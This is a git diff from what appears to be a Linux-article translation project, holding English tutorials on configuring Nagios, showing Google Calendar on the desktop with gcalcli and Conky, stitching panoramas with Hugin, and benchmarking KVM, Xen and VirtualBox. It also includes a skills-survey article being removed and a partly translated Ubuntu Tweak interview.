A service called example-host-check is defined with warning values of 100 ms for latency and 20% for packet loss. The critical values are 5000 ms for latency and 100% for packet loss. Only one IPv4 ping request will be transmitted.
[root@mrtg objects]# vim commands.cfg
> define command{
> command_name example-host-check
> command_line $USER1$/check_ping -H $HOSTADDRESS$ -w 100.0,20% -c 5000.0,100% -p 1 -4
> }
### Contact Definition ###
The email address where alerts will be sent is added into Nagios.
> define command{
> command_name example-host-check
> command_line $USER1$/check_ping -H $HOSTADDRESS$ -w 100.0,20% -c 5000.0,100% -p 1 -4
> }
### Contact Definition ###
The email address where alerts will be sent is added into Nagios.
[root@objects objects]# vim contacts.cfg
> define contact{
> contact_name nagiosadmin
> use generic-contact
> alias Nagios Admin
> email nagios@localhost, sentinel@example.tst
> }
Finally, we are ready to start the Nagios service. A dry run is recommended to find out errors in configuration.
[root@mrtg ~]# nagios v /etc/nagios/nagios.cfg
[root@mrtg ~]# service nagios restart
[root@mrtg ~]# chkconfig nagios on
### Access Nagios after Configuration ###
Now you are ready to use Nagios. Nagios can be accessed by opening the URL http://IP/nagios3 in case of Ubuntu/Debian or http://IP/nagios in case of CentOS/RHEL e.g. http://172.17.1.23/nagios3. The user "nagiosadmin" needs to be authenticated to access the page.
[![](http://farm4.staticflickr.com/3834/11198394806_4f4a753778_z.jpg)][9]
When Nagios is not running the way it is supposed to, the first thing to do would be to initiate a dry run.
On Debian or Ubuntu:
# nagios3 -v /etc/nagios3/nagios.cfg
On CentOS or RHEL:
# nagios -v /etc/nagios/nagios.cfg
The log file may also shed some important clue. The path to the log file is located at /var/log/nagios/nagios.log.
Hope this helps.
--------------------------------------------------------------------------------
via: http://xmodulo.com/2013/12/install-configure-nagios-linux.html
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.nagios.org/
[2]:http://www.centreon.com/
[3]:http://www.fullyautomatednagios.org/
[4]:http://www.op5.com/
[5]:http://www.flickr.com/photos/xmodulo/11198373625/
[6]:http://www.flickr.com/photos/xmodulo/11198394746/
[7]:http://www.flickr.com/photos/xmodulo/11198378964/
[8]:http://xmodulo.com/2013/01/how-to-set-up-rpmforge-repoforge-repository-on-centos.html
[9]:http://www.flickr.com/photos/xmodulo/11198394806/

View File

@ -0,0 +1,204 @@
How to integrate Google Calendar in Linux desktop
================================================================================
Google Calendar is one of the most popular web applications. One can access or sync Google Calendar across multiple devices either via web interface or with native apps. In Linux, there are several ways to access Google Calendar natively, such as by using email client plugins (e.g., Evolution or Thunderbird) or calendar apps (e.g., Sunbird or Rainlendar). These solutions, however, typically involve installing unnecessarily bulky software which you will probably not need.
If all you want is to access and get reminded by Google Calendar natively on Linux, then you can consider [Google Calendar command line interface (or gcalcli)][1], which is much more light-weight. Even better for Linux desktop, you can use gcalcli together with [Conky][2], to integrate Google Calendar into your desktop theme transparently.
In this tutorial, I will demonstrate **how to integrate Google Calendar into Linux desktop, by using gcalcli and Conky**.
### Install gcalcli on Linux ###
Before installing gcalcli, verify that you are using Python 2, as gcalcli is not compatible with Python 3.
To install gcalcli on Debian, Ubuntu or Linux Mint, use the following commands.
$ sudo apt-get install git python-pip python-gdata python-dateutil python-gflags python-vobject python-parsedatetime
$ sudo pip install google-api-python-client
$ sudo pip install apiclient urllib3
$ git clone https://github.com/insanum/gcalcli.git
$ cd gcalcli
$ sudo python setup.py install
**Note**: gcalcli is included in the standard repository of Ubuntu or Linux mint. However, that version is not updated with the latest features and bug fixes. So I recommend building gcalcli from the source, as documented above.
To install gcalcli on Fedora, CentOS or RHEL, run the following.
$ sudo yum install git python-pip python-gdata python-dateutil python-gflags python-vobject
$ sudo pip install google-api-python-client
$ sudo pip install apiclient urllib3
$ git clone https://github.com/insanum/gcalcli.git
$ cd gcalcli
$ sudo python setup.py install
### Google Authentication for gcalcli ###
To be able to access Google Calendar with gcalcli, you need to go through OAuth2 authention with your Google account, in order to grant gcalcli permission to access your Google Calendar.
The first time you run gcalcl, OAuth2 authentication will automatically be initiated. Thus run the following command to start.
$ gcalcli agenda
The command will print out a URL as shown below.
[![](http://farm4.staticflickr.com/3791/11216331146_d2c5f95963_z.jpg)][3]
At the same time, it will pop up a web browser window, and direct you to the URL. If a web browser window fails to open for any reason, you can copy and paste the URL into a web browser window manually.
If you are not logged in to your Google account, you will be asked to log in. After logging in, you will see the following message, asking you to allow gcalcl to manage your Google Calendar. Click on "Accept" button.
[![](http://farm4.staticflickr.com/3810/11216308465_1008fc1bb3_z.jpg)][4]
Enable Google Calendar API
After authentication, the next step is to enable API access for Google Calendar. gcalcli accesses your Google Calendar via Google Calendar API. In order to use Google Calendar API, however, you need to explicitly enable the API under your Google account.
First go to: [https://cloud.google.com/console][5]. Click on "API Project" under project list.
Go to "APIs & auth" --> "APIs" to see a list of Google APIs. Click on toggle button for "Calendar API" to enable the API.
Now go to "APIs & auth" --> "Registered apps" to register gcalcli app. Click on "Register app" button on the top.
[![](http://farm8.staticflickr.com/7293/11216363656_c203b6dfa2_z.jpg)][6]
Fill in the app name (e.g., "My Gcalcli"), and choose "Native" as a platform. Click on "Register" button to finalize.
This will create and show OAuth client ID and secret as follows. Make a note of this information. You can ignore the warning saying that "You have not set up your product name".
[![](http://farm3.staticflickr.com/2890/11216593546_312a564f1f_z.jpg)][7]
The result of OAuth authentication will be saved in ~/.gcalcli_oauth text file.
### Access Google Calendar from the Command Line with gcalcli ###
You are almost ready to access Google Calendar with gcalcli.
Create a gcalcli configuration file in your home directory as follows. Put OAuth client ID and secret that you obtained before, in the following format.
$ vi ~/.gcalclirc
> --client_id='XXXXXXXXXX.apps.googleusercontent.com'
> --client_secret='YYYYYYYYYYYYYYYY'
At this point, you should be able to run gcalcli from the command line.
Try the following two commands, which will print a list of your Google Calendars, and an agenda for the next 5 days, respectively.
$ gcalcli list
$ gcalcli agenda
[![](http://farm4.staticflickr.com/3780/11216465043_c8f6d8967d_z.jpg)][8]
### Integrate gcalcli with Conky ###
The final step is to integrate the output of gcalcli into your desktop theme. For that, you need Conky, which is a very powerful tool that can display a wide range of information directly on desktop theme.
First [install Conky][9] on your Linux system.
Then, create a following script somewhere in your home directory (e.g., ~/bin).
$ vi ~/bin/gcal.sh
> #!/bin/sh
>
> gcalcli --conky calw 2 |
> sed -e 's/^[(0\x71^[(B/?/g' \
> -e 's/^[(0\x78^[(B/?/g' \
> -e 's/^[(0\x6A^[(B/?/g' \
> -e 's/^[(0\x6B^[(B/?/g' \
> -e 's/^[(0\x6C^[(B/?/g' \
> -e 's/^[(0\x6D^[(B/?/g' \
> -e 's/^[(0\x6E^[(B/?/g' \
> -e 's/^[(0\x74^[(B/?/g' \
> -e 's/^[(0\x75^[(B/?/g' \
> -e 's/^[(0\x76^[(B/?/g' \
> -e 's/^[(0\x77^[(B/?/g'
$ chmod +x ~/bin/gcal.sh
**Important Note**: '^[' in the above script must be the **actual ESCAPE key** (i.e. press Ctrl-V ESC in vi editor).
This script translates VT100 escape sequences to Unicode box drawing characters. This is a [needed workaround][10] because Conky does not support ASCII line art used by gcalcli.
Finally, create a Conky configuration file in your home directory as follows.
$ vi ~/.conkyrc
> alignment top_right
> maximum_width 630
> minimum_size 330 10
> gap_x 25
> gap_y 50
>
> own_window yes
> own_window_type conky
> own_window_hints undecorated,below,sticky,skip_taskbar,skip_pager
> own_window_transparent yes
> own_window_argb_visual yes
> own_window_argb_value 0
>
> update_interval 300
> background no
>
> border_width 1
> default_color cornflowerblue
> default_outline_color white
> default_shade_color white
> double_buffer no
> draw_borders no
> draw_graph_borders no
> draw_outline no
> draw_shades no
> max_port_monitor_connections 64
> max_specials 512
> max_user_text 16384
> text_buffer_size 8096
> no_buffers yes
> out_to_console no
> uppercase no
> use_xft yes
> xftfont Bitstream Vera Sans Mono:size=10
>
> TEXT
> *** Google Calendar Agenda ***
> ${execpi 300 gcalcli --conky agenda}
> ${execpi 300 ~/bin/gcal.sh}
This Conky configuration will display an agenda and two weeks' worth of schedules of your Google Calendar, directly in your desktop theme. The displayed info is updated every 5 minutes.
Now you can activate Conky by running the following.
$ conky
You should see Google Calendar in the right side of your Linux desktop as follows.
[![](http://farm8.staticflickr.com/7390/11216377436_72d00cec49_z.jpg)][11]
Once you verify that Google Calendar shows up correctly, you can set Conky to auto-start every time you log in to your desktop.
### Set up Google Calendar Reminder ###
gcalcli can also send a reminder for any upcoming schedule in your Google Calendar. It uses notify-send command to send desktop notifications. For Google Calendar reminder, you can set up a cron job like the following.
$ crontab -l
> */10 * * * * /usr/local/bin/gcalcli remind
--------------------------------------------------------------------------------
via: http://xmodulo.com/2013/12/integrate-google-calendar-linux-desktop.html
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:https://github.com/insanum/gcalcli
[2]:http://conky.sourceforge.net/
[3]:http://www.flickr.com/photos/xmodulo/11216331146/
[4]:http://www.flickr.com/photos/xmodulo/11216308465/
[5]:https://cloud.google.com/console
[6]:http://www.flickr.com/photos/xmodulo/11216363656/
[7]:http://www.flickr.com/photos/xmodulo/11216593546/
[8]:http://www.flickr.com/photos/xmodulo/11216465043/
[9]:http://xmodulo.com/2013/12/install-configure-conky-linux.html
[10]:https://github.com/insanum/gcalcli/issues/97
[11]:http://www.flickr.com/photos/xmodulo/11216377436/

View File

@ -0,0 +1,103 @@
How to stitch photos together on Linux
================================================================================
If you are an avid photographer, you will probably have several stunning panoramic photos in your portfolio. You don't have to be a professional photographer, nor need specialized equipment to create dramatic panoramic pictures. In fact, there are quite a few picture stitch apps (online or offline, desktop or mobile), which can easily create a panoramic view of a scene from two or more overlapping pictures.
In this tutorial, I will explain **how to stitch photos together on Linux**. For that, I am going to use panoramic photo stitching software called [Hugin][1].
Hugin is an open-source (GPLv2) free panorama photo stitching tool. It is available on multiple platforms including Linux, Windows, OS X, and FreeBSD. Being open-source freeware does not mean that Hugin won't match up to other commercial photo stitchers in terms of features and quality. On the contrary, Hugin is extremely powerful, capable of creating a 360-degree panoramic image, and featuring various advanced photometric corrections and optimizations.
### Install Hugin on Linux ###
To install Hugin on Debian, Ubuntu or Linux Mint:
$ sudo apt-get install hugin
To install Hugin on Fedora:
$ sudo yum install hugin
### Launch Hugin ###
Use hugin command to launch Hugin.
$ hugin
The first thing to do is to load photos that you want to stitch together. For that, click on "Load images" button, and load (two or more) pictures to join. It should be obvious, but individual pictures need to be overlapping with each other.
[![](http://farm3.staticflickr.com/2884/11230363115_9aaaf5d8e4_z.jpg)][2]
### First Round of Photo Stitching ###
After loading pictures, click on "Align" button for the first round of stitching.
[![](http://farm8.staticflickr.com/7405/11230471403_4aab2dd708_z.jpg)][3]
Hugin will then run stitching assistant in a separate window, which analyzes common keypoints (or control points) between photos to combine the photos properly. After analysis is completed, you will see a panorama preview window, which will display panorama preview.
Switch back to the Hugin's main window. Under the "Align" button, you will see the status of photo stitching (i.e., number of control points, mean error). It will also say whether fit is good or bad.
[![](http://farm3.staticflickr.com/2838/11230471243_c59a6dd6cd_z.jpg)][4]
If it says "bad" or "really bad" fit, you can go ahead and fine-tune picture alignment as demonstrated below.
### Add or Remove Control Points ###
In the main Hugin window, go to "Control Points" tab. In this tab, Hugin shows which common control points are used to join multiple photos. It shows a pair of photos in left/right panels, and common key points between them are visualized with small boxes of the same color. You can remove any spurious points, or add new common points by hand. The more accurately matched points there are, the better quality stitching you will get. Also, if matched control points are well spread-out, they will be more helpful (than highly clustered control points).
[![](http://farm4.staticflickr.com/3706/11230392866_aeee95908d_z.jpg)][5]
Using the left/right arrow buttons located at the top-center, find a pair of photos which have least common control points. Given such a pair, try adding more common points by hand as follows.
Click one spot on a left-side photo, and then click on the corresponding identical spot on a right-side photo. Hugin will try to fine-tune the match automatically. Click on "Add" button at the bottom to add the matched pair. Repeat this process to add additional common points.
[![](http://farm4.staticflickr.com/3790/11230376534_4acfdf09c8_z.jpg)][6]
### Other Optimizations ###
You can also try re-optimization. Either click on "Re-optimize" button in the toolbar, or go to "Optimizer" tab to fine-tune the optimization.
[![](http://farm4.staticflickr.com/3830/11230470413_05dbb778d0_z.jpg)][5]
Go back to "Assistant" tab in the main Hugin window, and click on "Align" button again to see if you get a better result.
If the combined panoramic view has a wavy horizon, you can straighten out the horizon. For that, click on "Preview panorama" button in the toolbar.
[![](http://farm8.staticflickr.com/7423/11230361845_afbb2e11ea_z.jpg)][6]
Then click on "Straighten" button in the Panorama preview window.
[![](http://farm4.staticflickr.com/3750/11230470463_2b4ef3dedf_z.jpg)][7]
Once you are satisfied with the stitch result, you can go ahead, and export it to an image file. For that, go to "Stitcher" tab in the Hugin's main window, and do the following.
Adjust canvas size, and amount of crop. Also, select output format (e.g., TIFF, JPEG, PNG). Finally, click on "Stitch!" button.
[![](http://farm3.staticflickr.com/2837/11230376234_2e46342a01_z.jpg)][8]
You will be asked to save a current project file (*.pto), and then specify output file name for the stitched photo.
It will take a couple of seconds to finalize photo stitch.
Here is the output of my experiment with Hugin. This is a beautiful panoramic view of luxury beach front in Cancun, Mexico. :-)
[![](http://www.flickr.com/photos/xmodulo/11230423496/)][9]
--------------------------------------------------------------------------------
via: http://xmodulo.com/2013/12/stitch-photos-together-linux.html
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://hugin.sourceforge.net/
[2]:http://www.flickr.com/photos/xmodulo/11230363115/
[3]:http://www.flickr.com/photos/xmodulo/11230471403/
[4]:http://www.flickr.com/photos/xmodulo/11230471243/
[5]:http://www.flickr.com/photos/xmodulo/11230392866/
[6]:http://www.flickr.com/photos/xmodulo/11230376534/
[7]:http://www.flickr.com/photos/xmodulo/11230470413/
[8]:http://www.flickr.com/photos/xmodulo/11230361845/
[9]:http://www.flickr.com/photos/xmodulo/11230470463/
[10]:http://www.flickr.com/photos/xmodulo/11230376234/
[11]:http://www.flickr.com/photos/xmodulo/11230423496/

View File

@ -1,62 +0,0 @@
icybreaker translating
Insights into top 3 IT skill groups in highest demand
================================================================================
![](http://www.linuxcareer.com/images/linux_it_skills_watch.png)
According to our [IT skill sets][1] research, IT skills required by employers of Linux talent can be classified into relatively independent groups. This article focuses on the top three groups of IT skills that were in the highest demand in the last quarter (Jul-Sep 2013) and refer to job advertisements in selected countries, including USA. It turns out that these three groups of IT skills can be linked with Linux related job categories.
It seems that in the last quarter Embedded Devices Developers related skills were in the highest demand by employers of Linux professionals. The second and third skill groups refer to Virtualization Engineering and LAMP Administrator job opportunities, respectively. This article discusses skill requirements for these three types of job listings and provides insights into the dependency structure of pairs of IT skills within the analyzed three groups of skills.
> If you have not read our [IT Skill Sets][1] article it is recommended to familiarize yourself with this article before you start reading the content below. This article is based on the material presented previously in [IT Skill Sets][1], which explains in detail the methodology used in this study.
### October 2013 update to IT skills classification ###
![](http://www.linuxcareer.com/images/percentage_of_linux_job_ads_linked_with_corresponding_skill_groups.png)
In the IT skill sets article, LinuxCareer.com analyzed the Linux job listings for the period between May and the end of June 2013. We have brought this classification up to date by considering the period of July until the end of September 2013. The percentage of Linux job ads corresponding to ten relatively independent groups of IT skills is displayed in the above bar chart[1]. The following link to the [IT Classification][2] diagram shows how this bar chart was devised based on the classifications. The top three IT skill groups in highest demand are: Embedded Devices Developers with 27% of Linux job market share; Virtualization Engineers with 20% of Linux job market share; and LAMP Administrators with 12% of Linux job market share. In the next three sections of this article we will focus on the identified top 3 IT skill groups and discuss in detail relationships between pairs of skills. For instance, MySQL and PHP are strongly linked and usually required in tandem by employers. Note also that knowledge of Linux is required in every job advertisement taken into account in the study conducted by LinuxCareer.com.
### Embedded Devices Developers and Programmers ###
The first set of skills in the highest demand are skills relevant to Embedded Devices Developers and Programmers. Dependency chart[2] below shows more detail pertaining to relationships between pairs of skills. Specifically, it shows which pairs of skills are most likely to appear together in Linux related job advertisements. For instance, Embedded links strongly to C/C++/C#, which is visualized in the graph by either darker shade of a rectangle in the lower part of the graph or larger portion of the corresponding circles shaded in the upper portion of the graph.
In general, this group of skills can be further split into three segments. These are:
1. **Android, Embedded, C/C++/C# and Java**. This is the core of the skills you need to know if you would like to work in development of embedded devices. It is possible that either C/C++/C# or Java is required by employers, since Java is based to some extend on C/C++/C#. If you have a look at the Octobers IT Skills Watch, Java leads as a programming language with the score of 9513 compared with the C/C++/C# score of 5403. Therefore, in general, if you stand before a choice between mastering of C/C++/C# or Java, Java seems to be a better choice. However, according to the graph below, C/C++/C# seems to appear more frequently in the advertisements relevant to Embedded devices. This suggests that, even though Java gets a higher general score in IT Skills Watch, mastering of C/C++/C# rather than Java is required for Embedded Devices Developer positions.
1.** Python, Perl and Bash**. These set of skills are a complementary set of programming and scripting skills. Perl and Python seem to appear often together in job advertisements, however, it is reasonable to assume that these two skills are required alternatively.
1. **Git, Subversion and Jira**. These skills pertain to source code management, debugging and project management. Some knowledge of these skills is certainly an advantage to programming related projects. Currently, the majority of open source development projects and a large number of corporate projects use such software to manage their source code.
![](http://www.linuxcareer.com/images/embedded_devices_development_skills_demand_dependency.png)
### Virtualization Engineers including skills related to data storage and management ###
The second group of skills that are currently in demand are the group of skills relating to job advertisements relevant to Virtualization Engineering job opportunities as illustrated in the dependency chart[2] below. This group can be further divided into two segments. The first segment of skills is Redhat, VMware, vSphere, ESX/ESXi, XenServer and Citrix. These skills are paramount for Virtualization Engineering job opportunities. The second segment of skills are skills relevant to Unix Systems, Data Storage and Management. It appears that these two segments are closely related. It is not a surprise that VMware comes together with ESX/ESXi and vSphere since ESX/ESXi is a computer virtualization product offered by VMware and vSphere is VMwares cloud computing virtualization operating system. It is also interesting that Redhat has been grouped with VMware and Citrix products. The strong relation of Solaris and AIX could be a consequence of the fact that they are both proprietary Unix Systems and possibly knowledge of either one of them is sufficient.
![](http://www.linuxcareer.com/images/virtualization_engineering_skills_demand_dependency.png)
### LAMP Administrators ###
Finally, the third group of skills is the type of skills required by employers of LAMP administrators exhibited in the dependency chart[2] below. LAMP stands for Linux Apache MySQL and PHP. All these skills are a core for a LAMP administrator. This is a relatively small group of skills that can take you far in your Linux career. In particular, the strong relation of PHP and MySQL suggests that one of these skills cannot come without the other.
![](http://www.linuxcareer.com/images/lamp_administrator_skills_demand_dependency.png)
### Conclusion ###
In terms of employability and groups of skills relevant to Linux professionals, this article has identified two important points. The first point shows ten groups of IT skills that were identified by clustering analysis of the most frequently appearing IT skills. The second point of this article shows that the highest demand exists for Embedded Devices and Programmers positions as indicated in the Percentage of Linux job ads linked with corresponding skill groups bar chart. This is followed by job advertisements relevant to Virtualisation Engineering positions and LAMP administrator positions. These three skill groups are core Linux related professions in the last quarter analyzed.
### References ###
[1] Percentage of Linux job ads linked with corresponding skill groups created by [GNU R][3]. Relevant package: graphics.
[2] Dependency charts created by [GNU R][3]. Relevant package: corrgram.
--------------------------------------------------------------------------------
via: http://www.linuxcareer.com/insights-into-top-3-it-skills-groups-in-highest-demand
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.linuxcareer.com/it-skill-sets
[2]:http://www.linuxcareer.com/images/Linux_jobs_classification_jul_oct_2013.png
[3]:http://www.r-project.org/

View File

@ -0,0 +1,78 @@
[翻译中] by KayGuowhu
Intel Haswell Linux Virtualization: KVM vs. Xen vs. VirtualBox
==============================================================
The latest chapter to our lengthy [Intel Haswell][1] on [Linux saga][2] is virtualization benchmarks. From Fedora 19 with the very latest software components for Linux virtualization, the performance of KVM, Xen, and VirtualBox were benchmarked from the Intel Core i7 4770K "Haswell" CPU.
Since last month's Haswell launch we have published many benchmarks of the new Intel CPUs but not being covered at Phoronix until today is the Linux virtualization performance for Haswell. With Intel hardware virtualization enabled, KVM, Xen, and VirtualBox were compared from a clean Fedora 19 64-bit installation.
Fedora 19 presently has the Linux 3.9.8 kernel with GCC 4.8.1, Mesa 9.2.0-devel, and an EXT4 file-system. All of the virtualization components were obtained from the Fedora 19 repository, including QEMU 1.4.2, Xen 4.2.2, and the libvirt / virt-manager components. Xen and KVM virtualization were setup through virt-manager. VirtualBox 4.2.16 was obtained from VirtualBox.org and installed on Fedora 19.
![](http://www.phoronix.net/image.php?id=intel_haswell_virtualization&image=intel_haswell_virtualization_med)
The Intel Core i7 4770K system had 16GB of RAM and a 240GB OCZ Vertex 3 SSD. During testing, each VM had access to all eight logical cores (four physical cores + Hyper Threading), access to 12GB of the system's 16GB of RAM, and a 16GB virtual disk.
The KVM, Xen, and VirtualBox performance from Fedora 19 Linux 3.9 with the Intel Core i7 "Haswell" processor were also compared to the "bare metal" results when the benchmarks were running on the host without any form of virtualization or other means of abstraction. VMware's products weren't benchmarked in this article since their EULA restricts public benchmarking (though VMware has been okay with us running such benchmarks in the past) and their trial software being limited to running on four CPU cores, but a separate article will look at the Xen/KVM/VMware performance on other hardware in the future.
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=9083341&p=2)
All of this Linux virtualization benchmarking was handled in a fully automated and reproducible manner using the open-source [Phoronix Test Suite][3] software and hosting by [OpenBenchmarking.org][4]. With using a virtual disk and with Xen/KVM not having a reliable means of shared 3D access to the host's driver/GPU, most of the benchmarks within this article are computational focused to look at the performance overhead for the different Linux virtualization methods.
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=16f6601&p=2)
Disk benchmarking wasn't a main focus of this virtualization testing since only a virtual disk was being used on the host's file-system. However, when comparing these three Linux virtualization methods against the bare metal results, KVM on the Linux 3.9 kernel was performing the best followed by Xen. Oracle's VirtualBox was running just 66% the speed of the host's PostMark mail server performance while KVM was at 96% the performance and Xen at 83% the host's speed.
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=ee1f01f&p=2)
For the Dolfyn Computational Fluid Dynamics workload, there arent any major changes in performance against the bare metal results when running on KVM or Xen. However, VirtualBox is noticeably slower.
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=1a54755&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=b3c948c&p=2)
The FFTE and HMMer results were similar to Dolfyn where Xen and KVM were leading to great performance results with very little overhead, but Oracle VM VirtualBox was much slower.
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=78137b2&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=0a735b7&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=8d2ce17&p=2)
John The Ripper was crashing when being run under VirtualBox.
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=6bd26cc&p=2)
Xen virtualization on the Linux 3.9 kernel with Fedora 19 strikes its first performance win when running the TTSIOD renderer.
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=4a440fd&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=79113d7&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=505359a&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=1593a32&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=0f84676&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=3cde78a&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=fc3d96e&p=2)
![](http://openbenchmarking.org/embed.php?i=1307064-SO-VIRTFEDOR07&sha=3e91cb0&p=2)
Overall, Xen and KVM virtualization worked out great on Fedora 19 in conjunction with the Intel Core i7 4770K CPU. The performance overhead of these virtualization methods were minimal on the Haswell processor. While Xen and KVM were running great on the new Intel CPU, Oracle's VirtualBox (the latest release, v4.2.16) was much slower than Xen and KVM. The benefit VirtualBox has though is means of guest 3D acceleration, which will be benchmarked again in a future Phoronix article. Also to be benchmarked soon on Phoronix will be the relative overhead of the different virtualization methods when comparing Haswell to previous generations of Intel processors as well as AMD's competition.
--------------------------------------------------------------------------------
via: http://www.phoronix.com/scan.php?page=article&item=intel_haswell_virtualization
译者:[译者ID](http://blog.csdn.net/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.phoronix.com/scan.php?page=search&q=Haswell
[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTM5MzU
[3]:http://www.phoronix-test-suite.com/
[4]:http://openbenchmarking.org/

View File

@ -1,28 +1,28 @@
Interview with Ding Zhou of Ubuntu Tweak
专访Ubuntu Tweak的作者周鼎
================================================================================
[Ubuntu tweak][1] is a well known application which allows Ubuntu users to tweak various aspects of their system. The founder of the project, Ding Zhou aka Tualatrix Chou, is talking to us about the nature and the usability of Ubuntu Tweak, the relation with Canonical and the future plans of the project. Enjoy
[Ubuntu tweak][1]是一款知名度很高的应用程序软件Ubuntu用户可以用它来调整系统的性能、功能等各个细节。项目的创始人周鼎又名Tualatrix Chou正与我们分享Ubuntu Tweak的特性、使用感觉以及它跟Canonical的关系并且勾勒了项目的未来计划蓝图。享受吧
**When did you start using linux and at what point did you decide to develop Ubuntu tweak?**
**你什么时候开始使用linux的并基于什么使你决定开发Ubuntu tweak**
I started using Linux when I just started my college life at late 2006. I was learning C programming then, a friend recommended that Linux is a great platform to learn programming. So I started my Linux life from the Fedora Core 6. But after just one week I switched to Ubuntu 6.10, because Ubuntu had a better community in China , and also had very good and fast repositories/mirrors. I fall in love with Ubuntu immediately, and switched from Windows in just one week.
我开始使用Linux是在2006年底那时刚开始我的大学生活。当时我正在学C编程语言一个朋友建议说要学习编程的话Linux是最好的平台环境所以我就开始了我的Linux生涯是从Fedora Core 6开始的。但用了仅仅只有一周的时间我就换成Ubuntu 6.10,因为Ubuntu在中国有更好的社区也有更好更快的源库/镜像。我立马就爱上了Ubuntu就一周时间就从Windows环境完全切换到Ubuntu环境。
After half years both happy and hard time with Ubuntu, I realized that Ubuntu was not so friendly for Chinese people, because after a fresh installation, people had to config the font, input method and many others. So I decided to develop an application to help the newbies to easily config Ubuntu.
在苦乐参半的半年使用时间后我意识到Ubuntu对中国用户来说不是太友好因为全新安装系统后用户必须得自己配置字体、输入法以及其它很多很多设置。所以我决定开发出一款应用程序来帮助新手让他们很简单的就可以对系统做相应配置。
So at July 2007, I started to develop Ubuntu Tweak. At that point, only for Chinese people, but soon I made Ubuntu Tweak be an international application and released its first version at Sep 2007
因此在2007年7月我就开始开发Ubuntu Tweak,刚开始的时候仅仅提供了汉语版本的但很快就考虑了Ubuntu Tweak的国际版本并且在2007年9月份就发布了首个国际版本。
**Ubuntu tweak is already a very successful project. Many Ubuntu users use it to tweak various aspects of their system. Tell us a few words about what Ubuntu Tweak can do.**
**Ubuntu tweak已经是非常成功的项目了。很多Ubutu用户用它来调整系统的性能、功能等各个细节。能给我们谈论下Ubuntu Tweak能做些什么吗**
![](http://180016988.r.cdn77.net/wp-content/uploads/2012/03/tualatrix1.jpg)
Ubuntu Tweak can be used to toggle the desktop icon display, set the fonts, enable/disable the user switch, logo.
Ubuntu Tweak可以用来切换桌面图表的显示方式、设置字体、启用/禁用多用户切换功能以及登陆的标识logo等等。
In the latest version of Ubuntu Tweak (0.6), you can also use it to tweak your Unity desktop.ut and shutdown functions.
在最新的Ubuntu Tweak 0.6版本中你也可以调整你的Unity桌面以及关机功能。
You can also use Ubuntu Tweak to cleanup system cruft to free space and make system clean.
你也能使用Ubuntu Tweak来清理系统的垃圾以释放空间和使系统保持干净。
**Canonical decides not to include Ubuntu Tweak in their distro by default. What does that mean? Is there some kind of risk for inexperienced users who want to tweak their system using your application?**
**Canonical在他们的默认发布源中不考虑加入Ubuntu Tweak。这意味着什么这对那些没有经验但又想要使用你的应用程序来调整他们的系统的用户来说存在某些风险吗**
Thats right. Because in the previous version of Ubuntu Tweak, it provided a feature to enable the popular PPA, I wasnt able to ensure all the PPA were safe, so Ubuntu Tweak had some security risks.
对的。因为在以前的Ubuntu Tweak发布版本中为流行的PPA都提供了可用源但我不能保证所有的PPA都是安全的所以Ubuntu Tweak会有一些安全风险。
As you see, Source Center has been removed since 0.6. But please dont mix the “include default by Ubuntu” and “put into the repository”, Ubuntu Tweak first should be put into the universal repository, then can be included by default in Ubuntu.
@ -88,6 +88,6 @@ via: http://www.unixmen.com/interview-with-ding-zhou-of-ubuntu-tweak/
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
译者:[runningwater](https://github.com/runningwater) 校对:[校对者ID](https://github.com/校对者ID)
[1]:http://ubuntu-tweak.com/
[1]:http://ubuntu-tweak.com/

View File

@ -0,0 +1,69 @@
Juju ice-cream icon design
================================================================================
Who doesnt like ice-cream? Here in the design team we sure do! In the last few weeks weve been preparing a special Juju demo for the OpenStack Summit in Hong Kong and weve created some very tasty icons for it. We thought it would be nice to show you how those icons were created, so heres a little insight on the design process.
### The brief ###
